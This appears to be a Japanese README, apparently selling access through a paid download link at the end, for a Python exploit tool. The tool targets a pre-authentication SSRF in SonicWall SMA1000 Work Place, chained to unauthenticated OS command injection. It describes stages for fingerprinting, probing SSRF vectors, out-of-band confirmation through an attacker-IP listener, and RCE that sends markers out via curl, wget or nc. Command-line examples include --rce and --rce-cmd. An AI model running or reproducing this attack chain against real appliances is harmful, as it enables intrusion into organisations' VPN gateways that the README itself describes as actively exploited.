CVE-2026-83548 — SonicWall SMA1000 Work Place 認証前 SSRF

SonicWall SMA1000 アプライアンス（6210 / 7210 / 8200v）の Work Place インターフェースにおける認証前 SSRF を評価・悪用するための単一ファイルツール（Python 3、標準ライブラリのみ、依存関係ゼロ）。CVE-2026-83549 を介した未認証 RCE への日和見的チェーンも含む。

脆弱性

CVE	CVE-2026-83548（SSRF、CWE-918/CWE-441）、CVSS 10.0
チェーン	CVE-2026-83549 — AMC（認証後）における OS コマンドインジェクション。SSRF を経由してバイパスされる
メカニズム	Work Place インターフェースは意図しないフォワードプロキシとして動作する：アプライアンスは自身の特権的なネットワーク位置を利用して、細工されたリクエストを内部リソース（AMC を含む）へ転送する。いずれの段階でも認証は不要
影響範囲	SMA1000 ≤ 12.4.3-03453 および ≤ 12.5.0-02835
修正済み	12.4.3-03526 / 12.5.0-02952（SonicWall 通知 SNWLID-2026-0016）
ステータス	実際に悪用が確認されている；2026-09-02 より CISA KEV に登録；回避策なし — パッチ適用のみ

ツールの機能（ステージ）

• [A] フィンガープリント + パッチ状態 — Work Place ポータルルートへの読み取り専用 GET：Server: SMA/* バナー、__extraweb__ アセット、ヘルプリンクからのバージョン取得；修正済みビルドとの照合による分類（PATCHED / AFFECTED / POTENTIALLY_AFFECTED / NOT_SMA1000）。
• [B] SSRF ベクターのプロービング — 候補となる SSRF トリガーベクターのセット（/cgi-bin/ リレーパスやフォワードプロキシの「絶対 URI をパスとして渡す」形式を含む）をテストし、ベースラインと比較して異常をスコアリングする：ステータスコードの変化、レイテンシの差分、新たなレスポンスヘッダー、ボディの差分。オペレーターが指定したベクターは --vector（繰り返し指定可能）で受け付ける。
• [C] アウトオブバンド確認 — ローカルのキャプチャリスナーを起動し、最良のベクターをそこへ向ける。キャプチャされたリクエスト（メソッド/ヘッダー/転送された User-Agent）は、アプライアンスがリクエストを転送したことを証明する — タイミングのアーティファクトではなく、実際の脆弱性である。
• [D] RCE チェーン（CVE-2026-83549） — 確認済みの SSRF リレーを経由して AMC に対する日和見的なコマンドインジェクションを試行し、curl/wget/nc を介してマーカーを外部送信する。確認にはアウトオブバンドのキャプチャが必要。

クイックスタート

# Fingerprint / patch-state only (read-only)
python3 exploit_cve_2026_83548.py --fingerprint-only vpn.example.com

# Full pass: vector probing + out-of-band SSRF confirmation
python3 exploit_cve_2026_83548.py --listen --attacker-ip <your_visible_IP> \
    --oob-timeout 5 vpn.example.com

# + RCE chain attempt (default command: id)
python3 exploit_cve_2026_83548.py --listen --attacker-ip <your_visible_IP> --rce \
    --rce-cmd 'id' vpn.example.com

# Known vector (bypasses the default candidate set), JSON report
python3 exploit_cve_2026_83548.py --json --skip-probe \
    --vector 'POST:/cgi-bin/:url={T}' --listen --attacker-ip <your_visible_IP> \
    -k -t 10 203.0.113.10

# Multiple targets in sequence (exit code = worst verdict)
python3 exploit_cve_2026_83548.py --listen --attacker-ip <your_visible_IP> \
    vpn-a.example.com vpn-b.example.com

--attacker-ip — アプライアンスがキャプチャリスナーに到達できる必要がある IP です（ローカルチェックでは 127.0.0.1、リモートではネットワークから到達可能なアドレスとポートフォワーディングを使用）。これを指定しない場合、ツールはローカル IP を推測しますが、コンテナや VPN 環境ではうまく動作しないことがよくあります。

終了コード

コード	意味
0	パッチ適用済み / 影響なし
1	バージョンによる影響あり、または SSRF が確認された、または影響を受けるファームウェア系列だが正確なビルドが特定できない
2	未認証 RCE が確認された（チェーン成功）
3	ターゲットが SMA1000 Work Place ポータルではない
4	接続エラー / その他のエラー

制限事項（必ずお読みください）

1. ステージ D は日和見的です。確認には帯域外キャプチャが必要であり、キャプチャがないことは反証にはなりません。
2. OOB キャプチャには、アプライアンスがリスナーに到達できること（同一 L2 / ポートフォワーディング / VPN）が必要です。キャプチャのタイムアウト ≠ SSRF の反証。
3. バージョン判定: アプライアンスは通常、外部にはファームウェア系列（例: 12.5.0）のみを公開し、正確なホットフィックスビルドは公開しません。一般的な結果は POTENTIALLY_AFFECTED となり、アプライアンス自体でビルドを確認する必要があります。
4. ステージ B〜D は設計上、ターゲットにリクエストを送信します。自身が所有するホスト、または明示的にテストを許可されたホストに対してのみ使用してください。

https://satoshidisk.com/pay/CShhL9